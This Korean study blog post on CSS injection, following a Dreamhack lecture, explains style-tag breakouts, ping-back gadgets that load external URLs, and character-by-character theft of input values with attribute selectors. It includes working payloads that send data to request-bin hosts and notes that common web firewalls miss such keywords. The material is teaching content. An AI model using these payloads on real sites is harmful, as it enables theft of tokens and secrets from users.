Study/WebHacking

[취약점] CSS Injection

mnzy🌱 2024. 4. 20. 13:12

 

Cascading Style Sheet (CSS)λŠ” HTML둜 μ •μ˜λœ λ¬Έμ„œλ₯Ό λ‹€μ±„λ‘­κ²Œ ν•˜λŠ” 역할을 ν•œλ‹€.

κ°œλ°œμžλŠ” CSS둜 HTML μš”μ†Œλ“€μ΄ μ‚¬μš©μžμ—κ²Œ μ–΄λ–»κ²Œ λ³΄μ—¬μ§ˆμ§€ μ •μ˜ν•  수 μžˆλ‹€. λ¬Έμ„œμ˜ λ°°κ²½ 사진, 색상을 λΉ„λ‘―ν•΄ λ²„νŠΌμ— 마우슀λ₯Ό μ˜¬λ €λ‘μ—ˆμ„ λ•Œ μ–΄λ–€ 색상과 μ†λ„λ‘œ ν‘œν˜„ν•  수 μžˆλ‹€.

 

ν‘œν˜„μ— μ‚¬μš©λ  μž„μ˜μ˜ CSS μ½”λ“œλ₯Ό μ£Όμž…μ‹œμΌœ μ˜λ„ν•˜μ§€ μ•Šμ€ 속성이 μ •μ˜λ˜λŠ” 것을 CSS Injection이라고 ν•œλ‹€.

 

CSS Injection은 XSS와 λΉ„μŠ·ν•˜κ²Œ μ›Ή νŽ˜μ΄μ§€ λ‘œλ”© μ‹œ μ•…μ˜μ μΈ λ¬Έμžμ—΄μ„ μ‚½μž…ν•˜μ—¬ μ•…μ˜μ μΈ λ™μž‘μ„ μ΄λ„λŠ” 곡격이닀.

κ³΅κ²©μžκ°€ μž„μ˜ CSS 속성을 μ‚½μž…ν•΄ μ›ΉνŽ˜μ΄μ§€μ˜ UI (μƒκΉ€μƒˆ)λ₯Ό λ³€μ‘°ν•˜κ±°λ‚˜ CSS μ†μ„±μ˜ λ‹€μ–‘ν•œ κΈ°λŠ₯을 톡해 μ›Ή νŽ˜μ΄μ§€λ‚΄μ˜ 데이터λ₯Ό μ™ΈλΆ€λ‘œ ν›”μΉ  수 μžˆλ‹€.

μ΄λ•Œ CSS Injection을 톡해 νƒˆμ·¨ν•  수 μžˆλŠ” λ°μ΄ν„°λŠ” CSRF Token, ν”Όν•΄μžμ˜ API Keyλ“± μ›Ή νŽ˜μ΄μ§€μ— μ§μ ‘μ μœΌλ‘œ λ³΄μ—¬μ§€λŠ” κ°’μ²˜λŸΌ CSS μ„ νƒμž(Selector)λ₯Ό 톡해 ν‘œν˜„μ΄ κ°€λŠ₯ν•΄μ•Ό ν•œλ‹€.

κ·Έλž˜μ„œ CSS μ„ νƒμžλ‘œ ν‘œν˜„μ΄ λΆˆκ°€λŠ₯ν•œ "script" νƒœκ·Έ λ‚΄ 데이터듀은 νƒˆμ·¨ν•  수 μ—†λ‹€.

(μ„ νƒμž: https://velog.io/@rimu/css-css-%EC%84%A0%ED%83%9D%EC%9E%90selector-%EA%B0%9C%EB%85%90-%EC%A0%95%EB%A6%AC )

 

λ³΄ν†΅μ˜ μ›Ή λ°©ν™”λ²½μ˜ 경우 "<script>", "alert", "eval" λ“±μ˜ ν‚€μ›Œλ“œλŠ” μ°¨λ‹¨ν•˜μ§€λ§Œ, CSS Injection에 주둜 μ‚¬μš© λ˜λŠ” "background:", "url" λ“±μ˜ ν‚€μ›Œλ“œλŠ” μ°¨λ‹¨ν•˜μ§€ μ•ŠλŠ”λ‹€.

CSS injection은 HTML (style) μ˜μ—­μ— κ³΅κ²©μžκ°€ μž„μ˜ μž…λ ₯ 값을 넣을 수 μžˆκ±°λ‚˜ μž„μ˜ HTML을 μ‚½μž…ν•  수 μžˆμ§€λ§Œ Content-Security-Policy둜 인해 μžλ°”μŠ€ν¬λ¦½νŠΈλ₯Ό μ‹€ν–‰ν•  수 μ—†λŠ” λ“± λ‹€μ–‘ν•œ μƒν™©μ—μ„œ μ‚¬μš©ν•  수 μžˆλ‹€.

 

- 색깔 λ°”κΎΈκΈ° 예제

<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
    exit(0)

 

μ΄μš©μžλ‘œλΆ€ν„° theme 값을 μž…λ ₯ λ°›μ•„ styleνƒœκ·Έ 내에 좜λ ₯ν•˜λŠ” μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ΄λ‹€.

themeκ°’ 내에 < λ₯Ό μž…λ ₯ν•  수 μ—†μ–΄ μ •μ˜λœ style νƒœκ·Έλ₯Ό λ²—μ–΄λ‚˜λŠ” 것은 λΆˆκ°€λŠ₯ν•˜μ—¬ CSS μ†μ„±λ§Œ 좜λ ₯ν•  수 μžˆλ‹€.

μΈν„°λž™ν‹°λΈŒ λͺ¨λ“ˆμ„ μ΄μš©ν•΄ yellow 값을 ν•˜λ‚˜μ”© λ³€κ²½ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

  1. yellowλ₯Ό blue둜 λ³€κ²½ν•˜λ©΄ λ…Έλž€μƒ‰ λ°°κ²½μƒ‰μ΄μ—ˆλ˜ 것이 νŒŒλž€μƒ‰μœΌλ‘œ λ³€κ²½λœλ‹€.
  2. body의 background-colorκ°€ μ•„λ‹Œ h1의 글씨 색을 λ³€κ²½ν•˜λ €λ©΄λ¬Έμžλ₯Ό μ΄μš©ν•΄ κΈ°μ‘΄ 속성을 νƒˆμΆœν•΄μ•Ό ν•œλ‹€.
  3. yellow; } h1 { color: blue κ°’을 μž…λ ₯ν•˜μ—¬ h1λ‚΄μ˜ 글씨가 λΉ¨κ°„μƒ‰μœΌλ‘œ λ³€κ²½λœ 것을 확인할 수 μžˆλ‹€.

 

 

IP Ping Back 

ν΄λΌμ΄μ–ΈνŠΈμ‚¬μ΄λ“œ 곡격을 톡해 데이터λ₯Ό μ™ΈλΆ€λ‘œ νƒˆμ·¨ν•˜κΈ° μœ„ν•΄μ„œλŠ” 곡격자의 μ„œλ²„λ‘œ μš”μ²­μ„ 보낼 수 μžˆμ–΄μ•Ό ν•œλ‹€.

CSS μ†μ„±μœΌλ‘œλ„ μ™ΈλΆ€ μš”μ²­ (Ping Back)을 전솑할 수 μžˆλ‹€.

 

CSSλŠ” μ™ΈλΆ€ λ¦¬μ†ŒμŠ€λ₯Ό λΆˆλŸ¬μ˜€λŠ” κΈ°λŠ₯을 μ œκ³΅ν•œλ‹€.

예λ₯Ό λ“€μ–΄ λ‹€λ₯Έ μ‚¬μ΄νŠΈμ˜ 이미지, 폰트 등이 μžˆλ‹€. μ—¬λŸ¬ 방법이 μ‘΄μž¬ν•˜μ§€λ§Œ λŒ€ν‘œμ μœΌλ‘œ cure53의 HTTPLeaks κ°€μ ―을 μ΄μš©ν•  수 μžˆλ‹€.

λ‹€μŒ ν‘œλŠ” 자주 μ“°μ΄λŠ” CSS 속성이닀.

 

@import 'https://leaking.via/css-import-string'; μ™ΈλΆ€ CSS νŒŒμΌμ„ λ‘œλ“œν•©λ‹ˆλ‹€. λͺ¨λ“  속성 쀑 κ°€μž₯ 상단에 μœ„μΉ˜ν•΄μ•Όν•©λ‹ˆλ‹€. κ·Έλ ‡μ§€ μ•Šμ„ 경우 @importλŠ” λ¬΄μ‹œλ©λ‹ˆλ‹€.
@import url(https://leaking.via/css-import-url); url ν•¨μˆ˜λŠ” URLλ₯Ό λΆˆλŸ¬μ˜€λŠ” 역할을 ν•©λ‹ˆλ‹€. 상황에 λ”°λΌμ„œ μ„ νƒμ μœΌλ‘œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
background: url(https://leaking.via/css-background); μš”μ†Œμ˜ 배경을 λ³€κ²½ν•  λ•Œ μ‚¬μš©ν•  이미지λ₯Ό λΆˆλŸ¬μ˜΅λ‹ˆλ‹€.
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);} 뢈러올 폰트 파일의 μ£Όμ†Œλ₯Ό μ§€μ •ν•©λ‹ˆλ‹€.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); CSS μ—μ„œ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•  λ•Œ asciiν˜•νƒœμ˜ "url"이 μ•„λ‹Œ hexν˜•νƒœμΈ "\000075\000072\00006C"도 μ§€μ›ν•©λ‹ˆλ‹€.

 

  1. μœ„ κ°€μ ― 쀑 ν•˜λ‚˜λ₯Ό μ‚¬μš©ν•΄ νŽ˜μ΄μ§€ λ‚΄μ—μ„œ μ™ΈλΆ€ μ„œλ²„λ‘œ μš”μ²­μ„ 보낼 수 μžˆλ‹€. μš”μ²­μ„ 받을 μ„œλ²„λŠ” λ“œλ¦Όν•΅ 툴즈의 "Request Bin"을 μ΄μš©ν•œλ‹€. 
  2. 개발자 도ꡬλ₯Ό 미리 λ„μ›Œλ‘κ³ , Networkνƒ­μ—μ„œ μš”μ²­μ„ κΈ°λ‘ν•©λ‹ˆλ‹€.
  3. yellow; background: url(https://wybfhvn.request.dreamhack.games/ping-back);λ°œκΈ‰ 받은 μ„œλΈŒ 도메인 μ£Όμ†Œλ‘œ body의 backgroundλ₯Ό μ„€μ •ν•©λ‹ˆλ‹€.
  4. 개발자 λ„κ΅¬μ—μ„œ μ‹€μŠ΅ λͺ¨λ“ˆμ—μ„œ λ“œλ¦Όν•΅ 툴즈둜 보낸 μš”μ²­μ„ ν™•μΈν•˜κ³ , λ“œλ¦Όν•΅ 툴즈 μ‚¬μ΄νŠΈμ—μ„œ ν•œ 번 더 받은 μš”μ²­μ„ ν™•μΈν•©λ‹ˆλ‹€.

 

 

데이터 νƒˆμ·¨ 

μž…λ ₯ λ°•μŠ€ λ‚΄μš© νƒˆμ·¨

Attribute Selectorλ₯Ό 톡해 μž…λ ₯ λ°•μŠ€ (Input)의 κ°’ (Value)λ₯Ό νƒˆμ·¨ν•  수 μžˆλ‹€. 

 

CSS Attribute Selector (νŠΉμ„± μ„ νƒμž)

CSS Attribute SelectorλŠ” Element의 Attributeλ₯Ό Selectionν•  수 μžˆλŠ” κΈ°λŠ₯을 μ œκ³΅ν•œλ‹€.
Figure 6λŠ” νŠΉμ„± μ„ νƒμžμ˜ ꡬ문이닀. 더 μžμ„Έν•œ μ„€λͺ…은 μ—¬κΈ°μ—μ„œ 확인할 수 μžˆλ‹€.

ꡬ문 μ„€λͺ…
[attr] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±μ„ κ°€μ§„ μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
[attr=value] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±κ°’μ΄ μ •ν™•νžˆ value인 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
[attr~=value] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±κ°’μ΄ μ •ν™•νžˆ value인 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€. attr νŠΉμ„±μ€ 곡백으둜 κ΅¬λΆ„ν•œ μ—¬λŸ¬ 개의 값을 κ°€μ§€κ³  μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€.
[attr^=value] attrμ΄λΌλŠ” νŠΉμ„±κ°’μ„ κ°€μ§€κ³  있으며, μ ‘λ‘μ‚¬λ‘œ valueκ°€ 값에 ν¬ν•¨λ˜μ–΄ 있으면 이 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
[attr$=value] attrμ΄λΌλŠ” νŠΉμ„±κ°’μ„ κ°€μ§€κ³  있으며, μ ‘λ―Έμ‚¬λ‘œ valueκ°€ 값에 ν¬ν•¨λ˜μ–΄ 있으면 이 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.


μœ„ ꡬ문 쀑 [attr^=value] μ„ μ΄μš©ν•˜λ©΄ μž…λ ₯ λ°•μŠ€ λ‚΄μš©μ„ νƒˆμ·¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

  1. [attr^=value] κ΅¬λ¬Έμ„ μ΄μš©ν•΄ κ°€μž₯ 첫 ν•œ κΈ€μžλ₯Ό λ¨Όμ € νƒˆμ·¨ν•©λ‹ˆλ‹€.
  2. 1μ—μ„œ νƒˆμ·¨ν•œ κΈ€μžλ₯Ό μ ‘λ‘μ‚¬λ‘œ κ·Έ λ‹€μŒ ν•œ κΈ€μžλ₯Ό νƒˆμ·¨ν•©λ‹ˆλ‹€.
  3. 1-2λ₯Ό λ°˜λ³΅ν•©λ‹ˆλ‹€.

λ‹€μŒμ€ μœ„ μˆœμ„œλ₯Ό μ§„ν–‰ν•˜λŠ” 쀑간 κ³Όμ •μ˜ νŽ˜μ΄λ‘œλ“œμ΄λ‹€.

뢙여넣은 ν›„ 개발자 도ꡬ Network 탭을 확인 ν•˜μ—¬ νƒˆμ·¨ν•˜λ €κ³  ν•˜λŠ” λ‚΄μš©μ΄ S3CR3T_으둜 μ‹œμž‘ν•˜λŠ” 것을 μ•Œ 수 μžˆλ‹€.

yellow; } input[value^=S3CR3T_] { background: url("https://itxeohf.request.dreamhack.games/lols");

 

 

[μ°Έκ³ ]

https://dreamhack.io/lecture/courses/327

 

Dreamhack | κ°•μ˜ | Dreamhack

 

dreamhack.io

 

+) 

https://www.hahwul.com/cullinan/css-injection/

 

CSS Injection

Introduction

www.hahwul.com